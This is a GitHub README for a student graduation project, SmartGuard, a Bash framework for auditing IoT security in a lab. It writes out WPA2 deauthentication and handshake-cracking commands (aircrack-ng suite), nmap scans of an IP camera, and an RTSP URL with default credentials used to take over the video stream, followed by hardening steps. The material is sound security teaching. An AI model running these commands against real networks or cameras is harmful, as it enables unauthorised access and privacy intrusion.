i39F/IoT-SmartGuard-Security

GitHub: i39F/IoT-SmartGuard-Security

一款交互式的物联网安全审计框架,在受控实验室环境中自动化执行从 WPA2 破解到 IP 摄像头利用再到防御加固的完整安全评估流程。

Stars: 0 | Forks: 0

# 🏆 SmartGuard — IoT 安全审计框架 **🥇 获奖者 · 毕业设计一等奖** 布赖代学院 · 网络安全系 · 2025/2026 [![语言](https://img.shields.io/badge/Language-Bash-green?style=flat-square&logo=gnubash)](smartguard.sh) [![平台](https://img.shields.io/badge/Platform-Kali%20Linux-blue?style=flat-square&logo=kalilinux)](https://www.kali.org) [![许可证](https://img.shields.io/badge/Use-Lab%20Only-red?style=flat-square)](#) [![状态](https://img.shields.io/badge/Status-Complete-brightgreen?style=flat-square)](#)
## 📌 项目概述 随着 IoT 设备成为智能家居不可或缺的一部分,其安全性往往落后于便利性。本项目演示了消费级 IP 摄像头中的薄弱配置如何导致严重的隐私泄露——并准确展示了如何修复这些问题。 我们构建了 **SmartGuard**,这是一个交互式的 Bash 框架,可在受控的实验室环境中自动执行三个安全阶段: | 阶段 | 工具 | 目标 | |-------|------|------| | 01 · 无线攻击 | `aircrack-ng` 套件 | 破解 WPA2 并获取 LAN 访问权限 | | 02 · 侦察 | `nmap` | 发现 IoT 设备及开放端口 | | 03 · 加固验证 | 自定义检查清单 + `nmap` | 确认已应用 Defense-in-Depth | ## 🎯 目标 - 执行无线取消认证攻击以捕获 WPA2 握手 - 使用字典攻击(`rockyou.txt`)破解弱密码 - 获取访问权限后映射内部网络上的 IoT 设备 - 利用 IP 摄像头上未加密的 RTSP 视频流 - 应用并验证 **Defense-in-Depth** 加固策略 - 衡量加固后攻击面的减少程度 ## 🏗️ 实验室网络拓扑 ``` [ Attacker Machine (Kali Linux) ] │ │ ① Deauth + Handshake Capture (aircrack-ng) ▼ [ Wi-Fi Router ] ──── [ IP Camera (192.168.8.186) ] │ │ │ Port 80 (HTTP Admin) │ Port 554 (RTSP Stream) ← ② Exploited │ └─ ③ After Hardening: Camera moved to isolated IoT VLAN ``` ## ⚡ 攻击方法论 ### 阶段 01 · 无线网络利用 ``` # 杀掉干扰 monitor mode 的进程 sudo airmon-ng check kill # 在 wireless interface 上启用 monitor mode sudo airmon-ng start wlan0 # 扫描周围网络 — 识别目标 BSSID 和 channel sudo airodump-ng wlan0mon # 从目标路由器捕获 WPA2 4-way handshake sudo airodump-ng --bssid 1E:4A:44:D1:44:4B --channel 6 -w handshake_capture wlan0mon # 强制客户端重新连接(触发 handshake 重新广播) sudo aireplay-ng --deauth 20 -a 1E:4A:44:D1:44:4B -c FF:FF:FF:FF:FF:FF wlan0mon # 对捕获的 handshake 进行字典 brute-force sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake_capture-01.cap ``` **结果:** `KEY FOUND! [ 12345678 ]` — 默认的弱密码在几秒钟内被破解。 ### 阶段 02 · 网络侦察与设备发现 ``` # Host discovery — 映射 local subnet 上的所有活动设备 sudo nmap -sn 192.168.8.0/24 # 对 IP camera 进行 Service version scan — 重点关注 web 和 RTSP 端口 sudo nmap -sV -p 80,554,8080,443,22,23,21 192.168.8.186 # 带有 OS detection 和 banner grabbing 的深度扫描 sudo nmap -sV -O --script=http-title,banner -p 80,554 192.168.8.186 ``` **在摄像头发现的开放端口:** | 端口 | 协议 | 风险 | 发现 | |------|----------|------|---------| | 80 | HTTP | ⚠️ 中等 | 管理面板,无 HTTPS,默认凭据 | | 554 | RTSP | 🔴 高 | 实时视频流,未加密,无认证 | ### 阶段 03 · 利用 — 视频流劫持 ``` # 使用默认凭证通过暴露的 RTSP 访问实时视频流 rtsp://admin:admin@192.168.8.186:554/live ``` 在 **VLC Media Player** 中打开 → 实现了对家庭摄像头视频流的完全未经授权访问。 ## 🛡️ 防御与加固(缓解措施) 在演示攻击之后,我们实施了 **Defense-in-Depth** 策略: ### 采取的措施 1. **凭据加固** — 将默认的 `admin:admin` 更改为强唯一密码 2. **禁用协议** — 在摄像头设置中完全禁用 RTSP(端口 554) 3. **网络隔离** — 将 IoT 设备移至专用的隔离 VLAN 4. **隐藏 SSID** — 隐藏 IoT 网络的 SSID 以减少被动侦察 ### 加固后验证 ``` # 验证在加固后 RTSP 是否已禁用 sudo nmap -p 554 192.168.8.186 # 预期:554/tcp closed rtsp ``` ## 📊 结果 | 安全控制 | 加固前 | 加固后 | |-----------------|-----------------|-----------------| | Wi-Fi 密码 | `12345678`(弱) | 强且唯一 ✅ | | 摄像头密码 | `admin:admin`(默认) | 已更改 ✅ | | RTSP 端口 554 | 开放且暴露 🔴 | 已关闭 ✅ | | HTTP 端口 80 | 开放,无 HTTPS 🟡 | 已受限 ✅ | | 网络 | 与主 LAN 共享 🔴 | 隔离的 VLAN ✅ | | SSID 可见性 | 公开广播 🟡 | 已隐藏 ✅ | | **总体风险** | **高 🔴** | **低 🟢** | ## 🔧 SmartGuard 工具 本项目包含 **SmartGuard**(`smartguard.sh`)—— 我们开发的一个交互式 Bash 框架,用于自动化整个审计工作流。 ### 功能 - 带有进度指示器的彩色终端 UI - 带有确认操作的逐步引导式执行 - 自动将会话日志记录到 `/tmp/smartguard_*.log` - 生成会话后报告 - 依赖项检查器(aircrack-ng, nmap, xterm) - 加固评分计算器(0–5 项检查,带有缩减百分比指标) ### 安装与使用 ``` # Clone the repository git clone https://github.com/i39F/IoT-SmartGuard-Security.git cd IoT-SmartGuard-Security # Make executable chmod +x smartguard.sh # 以 root 权限运行(airmon-ng 和 nmap 需要) sudo ./smartguard.sh ``` ### 主菜单 ``` MAIN MENU — اختر المرحلة ────────────────────────────────────────────────────────────── [1] Phase 01 → Wireless Attack & Handshake Capture [2] Phase 02 → Network Reconnaissance & Port Scan [3] Phase 03 → Hardening Verification Checklist [4] Full Run → تشغيل المراحل الثلاث تسلسلياً [5] Report → توليد تقرير الجلسة [6] Check Deps → فحص الأدوات المثبتة [0] خروج ``` ### 环境要求 ``` # 在 Kali Linux / Debian 上 Install all dependencies sudo apt update && sudo apt install -y aircrack-ng nmap xterm # 如果需要,Decompress wordlist sudo gunzip /usr/share/wordlists/rockyou.txt.gz ``` ## 👥 团队 | 姓名 | 角色 | |------|------| | Sulaiman Almanea | 团队负责人及攻击阶段 | | Muath Alyhya | 无线安全与测试 | | Abdulaziz Alharbi | 网络侦察 | | Majed Alghrras | 加固与文档编写 | | Mansour Alsuwayh | 工具开发与报告撰写 | **指导教师:** Dr. Ahmed Elaraby · 网络安全系 · 布赖代学院 ## 📁 仓库结构 ``` IoT-SmartGuard-Security/ ├── smartguard.sh # Main audit framework (Bash) ├── README.md # This file └── docs/ └── Graduation_Project_v7.0.pdf # Full written report ```
**布赖代学院 · 网络安全系 · 毕业设计 2025/2026** *"守护智能家居 —— 逐一消除漏洞"*
## 关于项目 يُعالج هذا المشروع إشكالية أمن أجهزة إنترنت الأشياء (IoT) في البيئات المنزلية الذكية، إذ باتت هذه الأجهزة هدفاً رئيسياً للمهاجمين نتيجة ضعف إعداداتها الافتراضية. قمنا ببناء أداة **SmartGuard** — إطار عمل تفاعلي مكتوب بـ Bash يُنفّذ ثلاث مراحل أمنية متكاملة في بيئة مختبر خاضعة للسيطرة: - **المرحلة الأولى:** اختراق الشبكة اللاسلكية عبر التقاط WPA2 Handshake وكسر كلمة المرور - **المرحلة الثانية:** استطلاع الشبكة الداخلية واكتشاف الأجهزة والمنافذ المفتوحة - **المرحلة الثالثة:** التحقق من تطبيق إجراءات التحصين ورفع تقرير بالنتائج ### 结果 تمكّن الفريق من اختراق الكاميرا كاملاً (كسر كلمة مرور الشبكة + الوصول للبث المباشر) ثم تطبيق استراتيجية **Defense-in-Depth** التي أسفرت عن **تقليص سطح الهجوم بنسبة 80%**. ### 团队 | الاسم | الجهة | |-------|-------| | سليمان المنيع | قائد الفريق | | معاذ اليحيا | اختبار الاختراق اللاسلكي | | عبدالعزيز الحربي | استطلاع الشبكات | | ماجد الغراس | التحصين والتوثيق | | منصور السويه | تطوير الأداة والتقارير | **المشرف:** د. أحمد العرابي · قسم الأمن السيبراني · كليات بريدة
标签:IoT安全, PE 加载器, XXE攻击, 应用安全, 插件系统